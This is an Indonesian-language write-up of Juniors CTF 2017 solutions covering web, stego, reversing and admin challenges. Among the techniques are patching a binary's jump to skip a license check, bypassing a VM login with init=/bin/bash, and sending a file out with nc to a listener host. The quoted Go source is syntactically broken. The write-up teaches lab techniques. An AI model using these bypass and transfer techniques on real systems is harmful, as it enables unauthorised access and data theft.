Juniors CTF 2017 - Write up
Website
PR me, please
Diberikan sebuah web 10.0.181.112:15110, untuk mendapatkan flag cukup gunakan salah satu situs dibawah ini sebagai Referer
ke situs challenge.
https://www.yandex.ru/
https://www.facebook.com/
https://www.wikipedia.org/
https://telegram.org/
https://www.whatsapp.com/
$ curl -e 'www.yandex.ru' 'http://10.0.181.112:15110/'
Flag : yoUUGOOODhacker46466464
Stegano
Sweet dreams
Diberikan sebuah file doc bernama _.doc
. Untuk mendapatkan Flag, cukup dengan melakukan unzip
$ strings _.doc | grep flag
word/media/flag.png
word/media/flag.png
$ unzip _.doc
Setelah itu Flag berada di word/media/flag.png
Flag : DIFFERENT AGE SANDWICH?
Reversing
We’ve discovered another planet!
Diberikan file binary .NET bernama scream.exe
, sesuai dengan nama nya apabila program tersebut dijalankan, akan mengeluarkan teriakan yang sangat lama.
Dari hasil decompile menggunakan ILSpy
, program akan menampilkan Flag apabila waktu “teriakan” nya selesai
here is the code
Karena yang ditampilkan adalah Object gambar, bisa menggunakan foremost
untuk melakuan carving
sehingga file Flag tersebut bisa didapatkan tanpa harus menunggu waktu “teriakan” habis.
$ foremost -i scream.exe -v
Flag : what_a_lovely_day!
We’re losing her
Diberikan sebuah file PE Executable bernama Horsereanimation.exe
, program tersebut akan terhubung ke Time Server
yang akan mencocokan dengan Subscription TIme. Apabila ingin mendapatkan Flag, Period Subscription Time harus berada dibawah waktu yang ditentukan. Disini saya melakukan Patching sehingga bisa mengouput Flag, tapi harus reimplement ulang fungsi generate_flag
.
Ganti opcode yang akan memanggil fungsi connect_timeserver
menjadi nop
.
Dan intruksi jbe ( jum if bellow or equal)
menjadi jne atau jnz
. Sehingga akan masuk ke fungsi you_get_flag
.
Apply Patch nya, lalu jalankan.
$ wine HorseReanimation.exe
Flag : NeverLookAGiftHorseInTheMouth
Admin (Misc)
Terry test
Diberikan sebuah file bernama task.rar
, didalam nya terdapat banyak file zip beserta passwordnya.
Karena zip dalam zip
nya sangat banyak, bisa dilakukan automasi menggunakan Python
.
Berikut script yang saya gunakan
from zipfile import ZipFile
def get_passwd(n):
with open("{}.txt".format(n),"r") as pwd:
return pwd.read()
for i in range(2,300):
try:
with ZipFile('{}.zip'.format(i),"r") as zf:
zf.extractall(pwd=get_passwd(i))
except:
with open("message.txt","r") as flag:
print "Flag : {}".format(flag.read())
break
Flag : bearlovehoney
Admin (RickAndMorty VM)
Diberikan sebuah VM bernama RickAndMorty dengan OS Debian. Saya mengubah konfigurasi default NIC CARD menjadi Bridge
Password user tidak diberikan. Oleh karena itu, untuk masuk saya mengubah Boot Parameter ro splash
menjadi rw init=/bin/bash
agar mendapatkan akses ke system.
May I come in?
Challenge ini berfokus pada user morty
. OS nya tidak bisa boot ke Desktop. Dan setelah berpikir-pikir, saya rasa Flag nya ada di wallpaper yang digunakan oleh si morty
karena OS nya tidak bisa masuk ke Desktop.
dari melihat file konfigurasi /home/morty/.config/pcmanfm/LXDE/desktop-items-0.conf
, didapatkan lokasi wallpaper nya
[*]
wallpaper_mode=stretch
wallpaper_common=0
wallpapers_configured=2
wallpaper0=/etc/alternatives/desktop-background
wallpaper1=/etc/alternatives/desctop-bg.png
desktop_bg=#ffffff
....
Untuk mendapatkan file nya bisa ditransfer menggunakan nc
.
On VM
$ nc listener_server 2121 < /etc/alternatives/desctop-bg.png
On my Machine
$ nc -vlp 2121 > wall.png
Flag : MyGrandfatherIsCrazy
Something fell off on the go
Challenge ini berfokus pada user jerry
. Untuk mendapatkan Flag, saya hanya menggunakan command find
.
$ find /home/jerry -type f 2>/dev/null
Terdapat berbagai file, tapi setelah di cek, file yang terdapat Flag nya adalah file bernama ris.svg.gz
Flag : HorsesGoBackToTheStables
Admin Forensic
Typical Admin, but…
Diberikan sebuah url github TM-PATCH, terdapat file bernama main.go
yang telah dicommit, dan repository nya memiliki sekitar 108 branch.
Saya pull semua branch nya dengan script berikut.
#!/bin/bash
for i in $(seq 1 108); do
git pull https://github.com/MierBen/TM-Patch.git ${i}
done
Karena saya sangat awam dengan git, saya menggunakan tool bernama tig
untuk copy manual source code nya.. wkwkwk
Setelah copy susun dan dirapihkan menggunakan Go Beautifier didapatkan source main.go
package main
import ("fmt"
"encoding/base64"
"os"
"strings"
"archive/tar"
"io"
"compress/gzip"
"strconv")
var MAGIC int
func main() {
f, err: = os.OpenFile("flag.tar.gz", os.O_RDONLY, 0444)
if err != nil {
panic(err)
}
gr, err: = gzip.NewReader(f)
if err != nil {
panic(err)
}
tr: = tar.NewReader(gr)
for {
hdr, err: = tr.Next()
if err == io.EOF {
break
}
if err != nil {
panic(err)
}
path: = hdr.Name
switch hdr.Typeflag {
case tar.TypeDir:
if err: = os.MkdirAll(path, os.FileMode(hdr.Mode));
err != nil {
panic(err)
}
case tar.TypeReg:
ow, err: = os.OpenFile(path, os.O_RDWR | os.O_TRUNC, 0777)
if err != nil {
ow, err = os.Create(path)
if err != nil {
panic(err)
}
if _, err: = io.Copy(ow, tr);
err != nil {
panic(err)
}
ow.Close()
}
gr.Close()
f.Close()
file, err: = os.OpenFile("morse_flag", os.O_RDONLY, 0444)
if err != nil {
panic(err)
}
stat, err: = file.Stat()
if err != nil {
panic(err)
}
data: = make([] byte, stat.Size())
_, err = file.Read(data)
if err != nil {
panic(err)
}
file.Close()
splStr: = strings.Split(string(data), " ")
var binaryFlag[] string
for _, v: = range splStr {
var temp[] string
for i: = range v {
if string(v[i]) == "*" {
temp = append(temp, "1")
} else if string(v[i]) == "-" {
temp = append(temp, "0"
} else {
continue
}
binaryFlag = append(binaryFlag, strings.Join(temp, ""))
}
binaryFlag = binaryFlag[: len(binaryFlag) - 1]
encodedFlag: = make([] string, len(binaryFlag))
for i: = range binaryFlag {
temp, _: = strconv.ParseInt(binaryFlag[i], 2, 64)
encodedFlag[i] = string(temp)
}
baseFlag: = strings.Join(encodedFlag, "")
unBaseFlag, err: = base64.StdEncoding.DecodeString(baseFlag)
if err != nil {
panic(err)
}
var rotFlag[] byte
MAGIC = 13
for _, v: = range unBaseFlag {
rotFlag = append(rotFlag, v + byte(MAGIC))
}
deBaseRot, err: = base64.StdEncoding.DecodeString(string(rotFlag))
if err != nil {
panic(err)
}
var flag[] byte
MAGIC = (1 << 3) + (1 << 5) - 1
for _, v: = range deBaseRot {
flag = append(flag, v ^ byte(MAGIC))
}
fmt.Print(string(flag))
}
Apabila di jalankan mengeluarkan error.
$ go run main.go
package main:
main_BACK.go:2:14: expected ';', found ','
main_BACK.go:3:9: expected ';', found ','
Karena tidak begitu familier dengan bahasa Go
sehingga saya tidak bisa memperbaikinya, tapi inti nya logika bahasa program itu sama, saya membuat nya dalam bahasa Python
berdasarkan Algoritma main.go untuk menggenerate Flag.
Berikut script yang digunakan
import tarfile
# extract flag.tar.gz
tar = tarfile.open("flag.tar.gz")
tar.extractall()
tar.close()
# open morse_flag
with open("morse_flag") as morse_tmp:
morse_tmp = morse_tmp.read().split()
morse_flag = []
tmp = ""
for i in morse_tmp:
tmp = i.replace("*","1")
tmp = tmp.replace("-","0")
morse_flag.append(tmp)
unbase = map(lambda x: int(x,2), morse_flag)
unbase = "".join(chr(c) for c in unbase).decode("base64")
rotFlag = "".join(chr(ord(c) + 13) for c in unbase).decode("base64")
MAGIC = (1 << 3) + (1 << 5) - 1 # == 39
flag = "".join(chr(ord(c) ^ MAGIC) for c in rotFlag)
print 'Flag : {}'.format(flag)
Setelah dijalankan akan mendapatkan Flag.